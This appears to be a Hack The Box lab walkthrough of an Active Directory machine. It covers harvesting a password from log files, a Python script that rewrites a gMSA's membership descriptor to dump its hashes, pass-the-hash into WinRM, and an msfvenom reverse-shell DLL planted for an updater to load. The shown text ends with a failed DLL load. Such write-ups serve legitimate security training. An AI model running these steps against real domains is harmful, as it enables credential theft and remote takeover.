
Logging#
Enum#
nmap -Pn -sC -sV 10.129.35.59 -oN scans/initial.nmap
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 19:39 +0100
Nmap scan report for 10.129.35.59
Host is up (0.048s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-20 01:47:02Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
|_ssl-date: 2026-04-20T01:47:53+00:00; +7h07m17s from scanner time.
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
|_ssl-date: 2026-04-20T01:47:52+00:00; +7h07m16s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
|_ssl-date: 2026-04-20T01:47:53+00:00; +7h07m17s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-20T01:47:52+00:00; +7h07m16s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2026-04-20T01:47:44
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h07m16s, deviation: 0s, median: 7h07m15s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.97 seconds
echo 'wallace.everette' >> ./tools/usernames.txt
echo 'We**********' >> ./tools/passwords.txt
SMB Enumeration#
nxc smb 10.129.35.59 -u ./tools/usernames.txt -p ./tools/passwords.txt --continue-on-success
[*] Adding missing option 'ignore_opsec' in config section 'nxc' to nxc.conf
[*] Creating missing folder protocols
SMB 10.129.35.59 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:False)
SMB 10.129.35.59 445 DC01 [+] logging.htb\wallace.everette:We**********
nxc smb 10.129.35.59 -u ./tools/usernames.txt -p ./tools/passwords.txt --shares
SMB 10.129.35.59 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:False)
SMB 10.129.35.59 445 DC01 [+] logging.htb\wallace.everette:We**********
SMB 10.129.35.59 445 DC01 [*] Enumerated shares
SMB 10.129.35.59 445 DC01 Share Permissions Remark
SMB 10.129.35.59 445 DC01 ----- ----------- ------
SMB 10.129.35.59 445 DC01 ADMIN$ Remote Admin
SMB 10.129.35.59 445 DC01 C$ Default share
SMB 10.129.35.59 445 DC01 IPC$ READ Remote IPC
SMB 10.129.35.59 445 DC01 Logs READ
SMB 10.129.35.59 445 DC01 NETLOGON READ Logon server share
SMB 10.129.35.59 445 DC01 SYSVOL READ Logon server share
SMB 10.129.35.59 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
Credential Exposure in Log files#
smbclient -U 'wallace.everette%We**********' //10.129.35.59/Logs
lpcfg_do_global_parameter: WARNING: The "client lanman auth" option is deprecated
Try "help" to get a list of possible commands.
smb: \>
smb: \> ls
. D 0 Fri Apr 17 00:10:09 2026
.. D 0 Fri Apr 17 00:10:09 2026
Audit_Heartbeat.log A 1294 Fri Apr 17 00:10:09 2026
IdentitySync_Trace_20260219.log A 8488 Fri Apr 17 00:10:09 2026
Service_State.log A 468 Fri Apr 17 00:10:09 2026
TaskMonitor.log A 1170 Fri Apr 17 00:10:09 2026
6657279 blocks of size 4096. 1034926 blocks available
smb: \> mget *
Get file Audit_Heartbeat.log? y
getting file \Audit_Heartbeat.log of size 1294 as Audit_Heartbeat.log (4.1 KiloBytes/sec) (average 4.1 KiloBytes/sec)
Get file IdentitySync_Trace_20260219.log? y
getting file \IdentitySync_Trace_20260219.log of size 8488 as IdentitySync_Trace_20260219.log (30.9 KiloBytes/sec) (average 16.6 KiloBytes/sec)
Get file Service_State.log? y
getting file \Service_State.log of size 468 as Service_State.log (2.3 KiloBytes/sec) (average 13.0 KiloBytes/sec)
Get file TaskMonitor.log? y
getting file \TaskMonitor.log of size 1170 as TaskMonitor.log (5.6 KiloBytes/sec) (average 11.4 KiloBytes/sec)
file ./*
./Audit_Heartbeat.log: ASCII text, with CRLF line terminators
./IdentitySync_Trace_20260219.log: ASCII text, with CRLF line terminators
./Service_State.log: ASCII text, with CRLF line terminators
./TaskMonitor.log: ASCII text, with CRLF line terminators
gitleaks detect --no-git ./*
○
│╲
│ ○
○ ░
░ gitleaks
8:02PM INF scanned ~11420 bytes (11.42 KB) in 40.3ms
8:02PM INF no leaks found
grep -i 'pass' ./*
./IdentitySync_Trace_20260219.log:[2026-02-09 03:00:03.125] [PID:4102] [Thread:04] VERBOSE - ConnectionContext Dump: { Domain: "logging.htb", Server: "DC01", SSL: "False", BindUser: "LOGGING\svc_recovery", BindPass: "Em3***************, Timeout: 30 }
echo 'LOGGING\svc_recovery' >> ./tools/usernames.txt
echo 'Em***************' >> ./tools/passwords.txt
sudo ntpdate logging
getTGT.py 'LOGGING/svc_recovery:Em3***************
zsh: /home/blnkn/.local/bin/getTGT.py: bad interpreter: /home/blnkn/.local/pipx/venvs/impacket/bin/python: no such file or directory
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_recovery.ccache
echo 'Em3*************** >> ./tools/passwords.txt
export KRB5CCNAME=~/sec/htb/machines/logging/tools/svc_recovery.ccache
klist
Ticket cache: FILE:/home/blnkn/sec/htb/machines/logging/tools/svc_recovery.ccache
Default principal: svc_recovery@LOGGING.HTB
Valid starting Expires Service principal
04/20/2026 03:25:11 04/20/2026 07:25:11 krbtgt/LOGGING@LOGGING.HTB
renew until 04/20/2026 07:25:11
LDAP Enumeration#
nxc ldap 10.129.35.59 -u ./tools/usernames.txt -p ./tools/passwords.txt --continue-on-success
[*] Initializing LDAP protocol database
SMB 10.129.35.59 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:False)
LDAP 10.129.35.59 389 DC01 [+] logging.htb\wallace.everette:We**********
INFO - Establishing SQL session with HR01.logging.htb...
TRACE - Querying [loggingHR].[dbo].[Employees] where SyncStatus = 0
Note to self, you’re better off always using the official extraction tools, you lost a lot of time here with incomplete information
nxc ldap 10.129.35.59 -d logging.htb --dns-server 10.129.35.59 -u svc_recovery -p 'Em3*************** -k --bloodhound
SMB 10.129.35.59 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:False)
LDAP 10.129.35.59 389 DC01 [+] logging.htb\svc_recovery:Em3**************
LDAP 10.129.35.59 389 DC01 Resolved collection methods: localadmin, session, group, trusts
LDAP 10.129.35.59 389 DC01 Using kerberos auth without ccache, getting TGT
LDAP 10.129.35.59 389 DC01 Done in 00M 08S
LDAP 10.129.35.59 389 DC01 Compressing output into /home/blnkn/.nxc/logs/DC01_10.129.35.59_2026-04-20_042923_bloodhound.zip
(venv) [blnkn@arch](main =):/opt/bloodyAD% bloodyAD -k \
-u 'svc_recovery' \
-p 'Em3*************** \
--dc-ip 10.129.35.59 \
--host DC01.logging.htb \
-d "logging.htb" \
get dnsDump | grep -v recordName | sort -u
A: 10.129.35.59
CNAME: dc01.logging.htb
NS: dc01.logging.htb
SOA.PrimaryServer: dc01.logging.htb
SOA.zoneAdminEmail: hostmaster@logging.htb
SRV: dc01.logging.htb:3268
SRV: dc01.logging.htb:389
SRV: dc01.logging.htb:464
SRV: dc01.logging.htb:88
zoneName: logging.htb
grep -i 3268 /etc/services
msft-gc 3268/tcp
msft-gc 3268/udp
nc -vz logging 3268
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.35.59:3268.
Ncat: 0 bytes sent, 0 bytes received in 0.06 seconds.
bloodyAD -k \
-u 'svc_recovery' \
-p 'Em3*************** \
--dc-ip 10.129.35.59 \
--host DC01.logging.htb \
-d "logging.htb" \
get search \
--filter "(primaryGroupID=516)"\
--attr sAMAccountName
distinguishedName: CN=DC01,OU=Domain Controllers,DC=logging,DC=htb
sAMAccountName: DC01$
bloodyAD -k \
-u 'svc_recovery' \
-p 'Em3*************** \
--dc-ip 10.129.35.59 \
--host DC01.logging.htb \
-d "logging.htb" \
get search \
--filter "(primaryGroupID=515)" \
--attr sAMAccountName
distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
sAMAccountName: msa_health$
bloodyAD -k \
-u 'svc_recovery' \
-p 'Em3*************** \
--dc-ip 10.129.35.59 \
--host DC01.logging.htb \
-d "logging.htb" \
get search \
--filter "(primaryGroupID=513)"\
--attr sAMAccountName | grep sAMA
sAMAccountName: Administrator
sAMAccountName: krbtgt
sAMAccountName: svc_recovery
sAMAccountName: jaylee.clifton
sAMAccountName: monique.chip
sAMAccountName: kyson.abel
sAMAccountName: fable.milford
sAMAccountName: wellington.kylan
sAMAccountName: serina.philander
sAMAccountName: wallace.everette
sAMAccountName: toby.brynleigh
bloodyAD -k \
-u 'svc_recovery' \
-p 'Em3*************** \
--dc-ip 10.129.35.59 \
--host DC01.logging.htb \
-d "logging.htb" \
get object svc_recovery --attr allowedChildClasses
distinguishedName: CN=svc_recovery,CN=Users,DC=logging,DC=htb
allowedChildClasses: ms-net-ieee-80211-GroupPolicy; nTFRSSubscriptions; classStore; ms-net-ieee-8023-GroupPolicy
bloodyAD -k \
-u 'svc_recovery' \
-p 'Em3*************** \
--dc-ip 10.129.35.59 \
--host DC01.logging.htb \
-d "logging.htb" \
shadowCredentials svc_recovery
Learning About DCOM#
Remote DCOM Activation Rights By default, members of the Performance Log Users group have the right to remotely activate certain DCOM objects. As we discussed with SilverPotato, the exploit relies on triggering a DCOM call to a specific Service (like CertSrv for AD CS). If an attacker can compromise a user who is part of this group, they have a “legal” way to talk to the DCOM components needed to start the exploit.
The “Sceduler” and “Task” Triggers Many “Potato” exploits (like JuicyPotatoNG or PrintPotato) rely on triggering a system service to authenticate against a fake listener. Performance Log Users have the permissions to start/stop certain performance counters and diagnostic logs. These actions often trigger high-privileged services (running as SYSTEM or NetworkService) to perform checks, which the attacker then intercepts.
Bypassing Restrictions In highly hardened environments, “Domain Users” might be blocked from remote RPC calls. However, administrators often forget to strip these rights from Performance Log Users because it’s a built-in Windows group used for monitoring tools. This makes it a “blind spot” for defenders and a “green light” for SilverPotato.
Learning About Potatoes#
RottenPotato BITS Service The original proof of concept using the BITS service.
JuicyPotato DCOM / CLSIDs Expanded the attack to use hundreds of different Windows "objects" to trigger the auth.
PrintPotato Print Spooler Leveraged the Windows Print Spooler service to coerce authentication.
RoguePotato Fake OXID Resolver Created after Microsoft patched the way DCOM handled local resolvers.
SilverPotato AD CS / DCOM The variant we discussed earlier, specifically targeting Certificate Services.
ADCSCoercePotato
DISTRIBUTED COM USERS@LOGGING.HTB
PERFORMANCE LOG USERS@LOGGING.HTB
coercer scan -u 'svc_recovery' -p 'Em3*************** --target 10.129.35.59
python bloodhound.py \
-ns 10.129.35.59 \
-dc dc01.logging.htb \
-d logging.htb \
-u svc_recovery \
-p 'Em3*************** \
-no-pass \
--zip \
-c All \
-k
Attacking GMSA (Group Managed Service Accounts)#
python3 bloodyAD.py ... get search 'DC=logging,DC=htb' '(objectClass=msDS-GroupManagedServiceAccount)'
RID Group Name Target Type 513 Domain Users Standard user accounts. 515 Domain Computers Standard workstations and member servers. 516 Domain Controllers The “crown jewels” (DCs).
cat /etc/krb5.conf
[libdefaults]
default_realm = LOGGING.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
LOGGING.HTB = {
kdc = logging.htb
admin_server = logging.htb
}
[domain_realm]
.logging.htb = LOGGING.HTB
logging.htb = LOGGING.HTB
sudo pacman -S cyrus-sasl-gssapi
logging in as svc_recovery
kinit svc_recovery@LOGGING.HTB
ldapsearch -H ldap://10.129.39.50:389 \
-Y GSSAPI \
-b 'DC=logging,DC=htb'
msDS-GroupMSAMembership is a list users or groups authorized to read the GMSA password stored in the form of a raw binary Windows Security Descriptor (DACL+SACL).
DACL: Discretionary Access Control List Defines who has access to an object (like a file, user, or active directory object). Contains specific rules stating which users or groups are Allowed or Denied read, write, or execute permissions.
SACL: System Access Control List Defines what gets audited or logged. Tells the Domain Controller to generate a log event in the Windows Event Viewer when a specific user successfully accesses or fails to access an object.
It is an attribute stored on the GMSA account itself
We can read some of the GMSA account details but not the msDS-GroupMSAMembership. That’s how it should be by default.
ldapsearch -H ldap://10.129.39.50:389 \
-Y GSSAPI \
-b 'CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb' \
-s base \
'(objectClass=*)' \
sAMAccountName msDS-GroupMSAMembership '+'
But we have GenericWrite nevertheless. So we should be able to overwrite the attribute
Just like with ldapsearch, NTLM bind doesn’t work
import ldap3
server = ldap3.Server("10.129.39.50:389")
client = ldap3.Connection(
server,
user="logging.htb\\svc_recovery",
password="Em3***************,
authentication=ldap3.NTLM,
auto_bind=True,
)
So we’re using Kerberos instead
pip install gssapi
import ldap3
server = ldap3.Server("10.129.39.50", port=389)
client = ldap3.Connection(
server,
authentication=ldap3.SASL,
sasl_mechanism="GSSAPI",
auto_bind=True,
)
Ok so we’re svc_recovery, we have GenericWrite to msa_health which is a GMSA. So we’ll try to overwrite the msDS-GroupMSAMembership of msa_health to make wallace.everette a member, which should allow him to read the password of the GMSA.
First let’s get Wallace’s SID.
ldapsearch -H ldap://10.129.39.50:389 \
-Y GSSAPI \
-b 'DC=logging,DC=htb' \
'(sAMAccountName=wallace.everette)' \
objectSid
SASL/GSSAPI authentication started
SASL username: svc_recovery@LOGGING.HTB
SASL SSF: 256
SASL data security layer installed.
# extended LDIF
#
# LDAPv3
# base <DC=logging,DC=htb> with scope subtree
# filter: (sAMAccountName=wallace.everette)
# requesting: objectSid
#
# wallace.everette, Users, logging.htb
dn: CN=wallace.everette,CN=Users,DC=logging,DC=htb
objectSid:: AQUAAAAAAAUVAAAAB+eo71Gnr6a44kNkPwgAAA==
# search reference
ref: ldap://ForestDnsZones.logging.htb/DC=ForestDnsZones,DC=logging,DC=htb
# search reference
ref: ldap://DomainDnsZones.logging.htb/DC=DomainDnsZones,DC=logging,DC=htb
# search reference
ref: ldap://logging.htb/CN=Configuration,DC=logging,DC=htb
# search result
search: 4
result: 0 Success
# numResponses: 5
# numEntries: 1
# numReferences: 3
Ok well. ldapsearch will give us the raw data as it is stored in LDAP, and it is a SID in binary form, and base64 encoded. Here’s how to decode that into its canonical form with impacket.
import base64
from impacket.ldap.ldaptypes import LDAP_SID
# Decode the b64 into raw binary
binary_form = base64.b64decode("AQUAAAAAAAUVAAAAB+eo71Gnr6a44kNkPwgAAA==")
# load the binary into an impacket LDAP_SID object
sid = LDAP_SID(data=binary_form)
# Print the canonical, human-readable SID string
print(f"[*] Decoded SID: {sid.formatCanonical()}")
Or it would have been a lot easier to just use Active directory aware tools But where’s the fun in that.
bloodyAD -k \
-u 'svc_recovery' \
-p 'Em3*************** \
--dc-ip 10.129.39.50 \
--host DC01.logging.htb \
-d "logging.htb" \
get object 'wallace.everette' --attr objectSid
distinguishedName: CN=wallace.everette,CN=Users,DC=logging,DC=htb
objectSid: S-1-5-21-4020823815-2796529489-1682170552-2111
Rebuild the gmsa group membership object from scratch
import json
import ldap3
from impacket.ldap import ldaptypes
server = ldap3.Server("10.129.39.50:389")
client = ldap3.Connection(
server,
authentication=ldap3.SASL,
sasl_mechanism="GSSAPI",
auto_bind=True,
)
# wallace.everette's SID
sid = "S-1-5-21-4020823815-2796529489-1682170552-2111"
# This builds the payload of the rule.
# An Access Allowed Access Controll Entry
aaace = ldaptypes.ACCESS_ALLOWED_ACE()
# The Magic Number (983551):
# This integer represents binary bit-flags mapping to specific
# Active Directory permissions.
# In Windows,this evaluates to Full Control
# (combining read, write, create child, and extended rights).
aaace["Mask"] = ldaptypes.ACCESS_MASK()
aaace["Mask"]["Mask"] = 983551
# The Target: It converts Wallace's string SID into the binary
# format Active Directory requires.
aaace["Sid"] = ldaptypes.LDAP_SID()
aaace["Sid"].fromCanonical(sid)
# Access Control Entry (the specific rule inside the list).
ace = ldaptypes.ACE()
# ACCESS_ALLOWED_ACE_TYPE rule
ace["AceType"] = 0
# will not be inherited by sub-folders
ace["AceFlags"] = 0
ace["Ace"] = aaace
# Start to build the DACL
dacl = ldaptypes.ACL()
# maps to standard modern Windows security headers.
dacl["AclRevision"] = 4
# internal "padding" bytes defined by Microsoft that must be set to 0.
dacl["Sbz1"] = 0
dacl["Sbz2"] = 0
dacl.aces = [ace]
# Start to build the SD
sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
# Revision and 0 padding
sd["Revision"] = b"\x01"
sd["Sbz1"] = b"\x00"
# This flag sets a binary bitmask telling Windows that this DACL is Auto-Inherited
# and should protect itself from being overwritten by folder templates
sd["Control"] = 32772
# Sets the highly privileged "NT AUTHORITY\SYSTEM" account
# as the physical ownerof the security descriptor.
# (the safest default to avoid locking everyone out).
sd["OwnerSid"] = ldaptypes.LDAP_SID()
sd["OwnerSid"].fromCanonical("S-1-5-18")
sd["GroupSid"] = b""
# Map our DACL into the object's DACL slot,
sd["Dacl"] = dacl
# leaving the auditing list slot (SACL) completely blank.
sd["Sacl"] = b""
# And finally we'll replace msDS-GroupMSAMembership with our crafted object
client.modify(
"CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb",
{
"msDS-GroupMSAMembership": [
(
ldap3.MODIFY_REPLACE,
[
sd.getData(),
],
),
],
},
)
print(json.dumps(client.result, indent=2))
Boom
python grant_gmsa_read.py
{
"result": 0,
"description": "success",
"dn": "",
"message": "",
"referrals": null,
"type": "modifyResponse"
}
Wallace can see the msDS-GroupMSAMembership now
bloodyAD -k \
-u 'wallace.everette' \
-p 'We**********' \
--dc-ip 10.129.39.50 \
--host DC01.logging.htb \
-d "logging.htb" \
get object 'msa_health$' --attr msDS-GroupMSAMembership
distinguishedName: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
msDS-GroupMSAMembership: O:S-1-5-18D:(A;;0xf01ff;;;S-1-5-21-4020823815-2796529489-1682170552-2111)
Maybe we could learn how to fully decode it with impacket? But in any case we can see Wallace’s SID in there already and what we really care about is the actual password itself, it should be under msDS-ManagedPassword
BloodyAd gives me an error but there’s data here apparently
bloodyAD -k \
-u 'wallace.everette' \
-p 'We**********' \
--dc-ip 10.129.39.50 \
--host DC01.logging.htb \
-d "logging.htb" \
get object 'msa_health$' --attr msDS-ManagedPassword
struct.error: ('unpack requires a buffer of 8 bytes', "When unpacking field 'UnchangedPasswordInterval | <Q | b''[:8]'")
Let me try to get the raw bytes Now let’s log in as wallace
kinit wallace.everette@LOGGING.HTB
Password for wallace.everette@LOGGING.HTB:
(venv) [blnkn@arch](main =):/opt/bloodyAD% ldapsearch -H ldap://10.129.39.50:389 \
-Y GSSAPI \
-b 'CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb' \
-s base \
'(objectClass=*)' \
sAMAccountName msDS-ManagedPassword '+'
SASL/GSSAPI authentication started
SASL username: wallace.everette@LOGGING.HTB
SASL SSF: 256
SASL data security layer installed.
# extended LDIF
#
# LDAPv3
# base <CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb> with scope baseObject
# filter: (objectClass=*)
# requesting: sAMAccountName msDS-ManagedPassword +
#
# msa_health, Managed Service Accounts, logging.htb
dn: CN=msa_health,CN=Managed Service Accounts,DC=logging,DC=htb
sAMAccountName: msa_health$
msDS-ManagedPassword:: AQAAACIBAAAQAAAAEgEaAUUyiVJopcrcnpEZMbhxICpBBQnTIG7wvOO
gDgEqYBmy3S7C2YVXf+p9/YtpsyKdafZyAIyUFLJh/b4xWTk+k15rgAhEWIS7HJ53+xhmTfBTTcjT
NvVNSHFu+p85PMoqijJta8lAr9XkpKjINW8pXlb4m2GmVwSpSthrIrWB/szxcAjl1gxRR/nhPSUoc
n86by495+6X0M2aFuD71fk/EUdCI/g9J2RcoDsnDLfqTNkl2eE4rvlcbrkgW9P38W0SMVftE87cRD
2QOD+cDOnS/cDbZ57do2ncXiP1pQV+8Xiqh0tNLCZsUlKljLfPSTY5V2pyMA7iRQHA1gOfEDwgDPE
AAM3JgNYeEAAAzWuwIx4QAAA=
# search result
search: 4
result: 0 Success
# numResponses: 2
# numEntries: 1
Mmmmh yea or we can just use the same tools as everybody else, I’ll see later if I have time to dive deeper and experiment with decoding that stuff myself with impacket, as a thought experiment.
python3 gMSADumper.py -u 'wallace.everette' -p 'We**********' -d 'logging.htb'
Users or groups who can read password for msa_health$:
> wallace.everette
msa_health$:::603fc24ee01a9409f83c9d1d701485c5
msa_health$:aes256-cts-hmac-sha1-96:b8dc25e7110a9bc35956fcfbd28da1193fbd597ae60c22297974d0a25437ab23
msa_health$:aes128-cts-hmac-sha1-96:e012abfa4e08998cddb30f332a287010
Now what, presumably we could crack those, and or just pass the hash
PTH to get a TGT
getTGT.py \
-dc-ip 10.129.39.50 \
'logging.htb/msa_health$:' \
-hashes ':603fc24ee01a9409f83c9d1d701485c5'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in msa_health$.ccache
export KRB5CCNAME=/home/blnkn/sec/htb/machines/logging/tools/msa_health.ccache
Or just winrm directly in the box
evil-winrm -i logging.htb -u 'msa_health$' -H '603fc24ee01a9409f83c9d1d701485c5'
Further Enumeration as msa health#
*Evil-WinRM* PS C:\Users\msa_health$\Documents> dir
Directory: C:\Users\msa_health$\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/17/2026 9:02 AM 1059 monitor.ps1
<#
.SYNOPSIS
Monitors the status of the "UpdateChecker Agent" scheduled task.
Uses COM interface to avoid CIM/WMI permission issues.
#>
$TaskName = "UpdateChecker Agent"
$LogPath = "C:\Share\Logs\TaskMonitor.log"
$Timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
try {
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask($TaskName)
$State = switch ($task.State) {
1 { "Disabled" }
2 { "Queued" }
3 { "Ready" }
4 { "Running" }
5 { "Disabled" }
6 { "Unknown" }
default { "Unknown" }
}
if ($State -ne "Ready" -and $State -ne "Running") {
$Message = "[$Timestamp] WARN - Task [$TaskName] is in an unexpected state: $State"
}
else {
$Message = "[$Timestamp] INFO - Task [$TaskName] health check: OK (State: $State)"
}
}
catch {
$Message = "[$Timestamp] ERROR - Failed to query task [$TaskName]. Exception: $($_.Exception.Message)"
}
Add-Content -Path $LogPath -Value $Message
As mentionned in the synopsis we can’t use the usual tools to list the services because We don’t have access
We don’t get that info with powershell
*Evil-WinRM* PS C:\Share\Logs> Get-ScheduledTask -TaskName "UpdateChecker Agent"
Cannot connect to CIM server. Access denied
At line:1 char:1
+ Get-ScheduledTask -TaskName "UpdateChecker Agent"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (MSFT_ScheduledTask:String) [Get-ScheduledTask], CimJobException
+ FullyQualifiedErrorId : CimJob_BrokenCimSession,Get-ScheduledTask
Nor with schtasks in cmd
*Evil-WinRM* PS C:\Share> schtasks /query /tn "UpdateChecker Agent" /fo list /v
Program 'schtasks.exe' failed to run: Access is deniedAt line:1 char:1
+ schtasks /query /tn "UpdateChecker Agent" /fo list /v
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.
At line:1 char:1
+ schtasks /query /tn "UpdateChecker Agent" /fo list /v
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
But we can use the COM interface instead
*Evil-WinRM* PS C:\Share> $s = New-Object -ComObject "Schedule.Service"; $s.Connect(); $s.GetFolder("\").GetTask("UpdateChecker Agent").Definition.Principal.UserId
jaylee.clifton
Update Monitor runs as clifton
*Evil-WinRM* PS C:\Share> $s = New-Object -ComObject "Schedule.Service"; $s.Connect(); $s.GetFolder("\").GetTask("UpdateChecker Agent").Definition.Actions
Id :
Type : 0
Path : "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
Arguments : 500 /scan=3 /autofix=true
WorkingDirectory :
HideAppWindow : False
And from here we need to understand what DLLs this thing loads so we can maybe hijack one
So I pulled UpdateMonotor.exe on my machine and decompiled it with ILSpy, here’s the main
// UpdateMonitor.Program
using System;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
private static void Main(string[] args)
{
string path = "C:\\ProgramData\\UpdateMonitor\\Logs\\monitor.log";
string text = "C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip";
string text2 = "C:\\Program Files\\UpdateMonitor\\bin\\";
string text3 = "settings_update.dll";
string text4 = Path.Combine(text2, text3);
Directory.CreateDirectory(Path.GetDirectoryName(path));
CleanupLogs(path, 90);
Log(path, "Starting Sentinel Update Check...");
Log(path, "Checking for update on core server...");
Log(path, "Info: Core did not find file Settings_Update.zip");
Log(path, "Last status: File not found on core");
Log(path, "Checking for update on local server...");
if (File.Exists(text))
{
try
{
if (File.Exists(text4))
{
File.Delete(text4);
}
ZipFile.ExtractToDirectory(text, text2);
Log(path, "Successfully unzipped update to " + text2);
}
catch (IOException ex)
{
Log(path, "Update failed: " + ex.Message);
}
catch (Exception ex2)
{
Log(path, "Update failed: " + ex2.Message);
}
}
else
{
Log(path, "No updates found locally: C:\\ProgramData\\UpdateMonitor\\Settings_Update.zip.");
}
Log(path, "Loading update applier: " + text4);
IntPtr intPtr = LoadLibrary(text4);
if (intPtr == IntPtr.Zero)
{
int lastWin32Error = Marshal.GetLastWin32Error();
Log(path, $"Failed to load {text3}. Error code: {lastWin32Error}");
Log(path, "Update check completed.");
return;
}
try
{
IntPtr procAddress = GetProcAddress(intPtr, "PreUpdateCheck");
if (procAddress != IntPtr.Zero)
{
Log(path, "Calling 'PreUpdateCheck' in " + text3);
((PreUpdateCheck)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(PreUpdateCheck)))();
}
else
{
Log(path, "'PreUpdateCheck' not found in " + text3 + ". Continuing...");
}
}
finally
{
FreeLibrary(intPtr);
}
Log(path, "Update check completed.");
}
So It looks for a zip file with a DLL in it which then gets moved in the bin folder and loaded by the service, and yes we have write access to that path
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> echo 'asdf' > file.md
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor> dir
Directory: C:\ProgramData\UpdateMonitor
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 4/16/2026 4:43 PM Logs
-a---- 4/25/2026 11:58 PM 14 file.md
DLL Hijacking#
msfvenom \
-p windows/x64/shell_reverse_tcp \
LHOST=10.10.16.84 \
LPORT=4242 \
-f dll \
-o settings_update.dll
zip -r Settings_Update.zip settings_update.dll
iwr -uri http://10.10.16.84:9090/Settings_Update.zip -OutFile Settings_Update.zip
Didn’t work, but looking at the logs
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor\Logs> dir
Directory: C:\ProgramData\UpdateMonitor\Logs
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/26/2026 12:56 AM 98856 monitor.log
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor\Logs> type monitor.log
[2026-04-26 00:56:15] Starting Sentinel Update Check...
[2026-04-26 00:56:15] Checking for update on core server...
[2026-04-26 00:56:15] Info: Core did not find file Settings_Update.zip
[2026-04-26 00:56:15] Last status: File not found on core
[2026-04-26 00:56:15] Checking for update on local server...
[2026-04-26 00:56:15] Successfully unzipped update to C:\Program Files\UpdateMonitor\bin\
[2026-04-26 00:56:15] Loading update applier: C:\Program Files\UpdateMonitor\bin\settings_update.dll
[2026-04-26 00:56:15] Failed to load settings_update.dll. Error code: 193
[2026-04-26 00:56:15] Update check completed.
Even though the system is x64
*Evil-WinRM* PS C:\ProgramData\UpdateMonitor\Logs> [Environment]::Is64BitOperatingSystem
True
The binary is x32
objdump -f UpdateMonitor.exe
UpdateMonitor.exe: file format pei-i386
